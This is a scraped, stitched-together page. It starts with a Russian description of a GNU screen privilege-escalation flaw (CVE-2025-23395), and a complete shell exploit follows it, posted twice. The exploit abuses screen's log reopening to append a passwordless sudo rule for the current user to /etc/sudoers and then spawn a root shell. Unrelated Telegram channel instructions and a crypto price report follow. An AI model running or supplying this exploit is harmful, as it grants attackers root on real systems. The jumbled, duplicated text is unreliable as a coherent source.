Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.
Exploit:
#!/bin/sh # screen CVE-2025-23395 exploit # blablabla # blasty <[email protected]> F=$(mktemp) L=${HOME}/screen.log T=/etc/sudoers rm -rf $F $L mkfifo $F O=$(stat --printf="%s" $T) echo "[+] spawning GNU screen" screen -L -Logfile $L -dmS hax sh -c "cat $F" while [ ! -f $L ]; do sleep 0.1; done echo "[+] logfile appeared, doing hax" rm $L ln -s $T $L P="${USER} ALL=(ALL) NOPASSWD:ALL" (echo $P; for i in `seq 8192`; do echo; done) > $F if [ $(stat --printf="%s" $T) -gt $O ] ; then echo "[+] bl1ng bl1ng, we got it" sudo sh else echo "[-] exploit failed :(" fi rm -rf $F $L
Уязвимость вызвана тем, что при запуске с правами root функция logfile_reopen() выполняется до сброса привилегий, но обрабатывает данные в контексте каталогов текущего непривилегированного пользователя, запустившего screen. Примечательно, что начальное открытие лога производится с корректным сбросом привилегий, но при повторном открытии файла с логом сброс привилегий не производится.
Exploit:
#!/bin/sh # screen CVE-2025-23395 exploit # blablabla # blasty <[email protected]> F=$(mktemp) L=${HOME}/screen.log T=/etc/sudoers rm -rf $F $L mkfifo $F O=$(stat --printf="%s" $T) echo "[+] spawning GNU screen" screen -L -Logfile $L -dmS hax sh -c "cat $F" while [ ! -f $L ]; do sleep 0.1; done echo "[+] logfile appeared, doing hax" rm $L ln -s $T $L P="${USER} ALL=(ALL) NOPASSWD:ALL" (echo $P; for i in `seq 8192`; do echo; done) > $F if [ $(stat --printf="%s" $T) -gt $O ] ; then echo "[+] bl1ng bl1ng, we got it" sudo sh else echo "[-] exploit failed :(" fi rm -rf $F $L
The creator of the channel becomes its administrator by default. If you need help managing your channel, you can add more administrators from your subscriber base. You can provide each admin with limited or full rights to manage the channel. For example, you can allow an administrator to publish and edit content while withholding the right to add new subscribers. To upload a logo, click the Menu icon and select “Manage Channel.” In a new window, hit the Camera icon. Telegram iOS app: In the “Chats” tab, click the new message icon in the right upper corner. Select “New Channel.” Private channels are only accessible to subscribers and don’t appear in public searches. To join a private channel, you need to receive a link from the owner (administrator). A private channel is an excellent solution for companies and teams. You can also use this type of channel to write down personal notes, reflections, etc. By the way, you can make your private channel public at any moment. It’s yet another bloodbath on Satoshi Street. As of press time, Bitcoin (BTC) and the broader cryptocurrency market have corrected another 10 percent amid a massive sell-off. Ethereum (EHT) is down a staggering 15 percent moving close to $1,000, down more than 42 percent on the weekly chart.
from us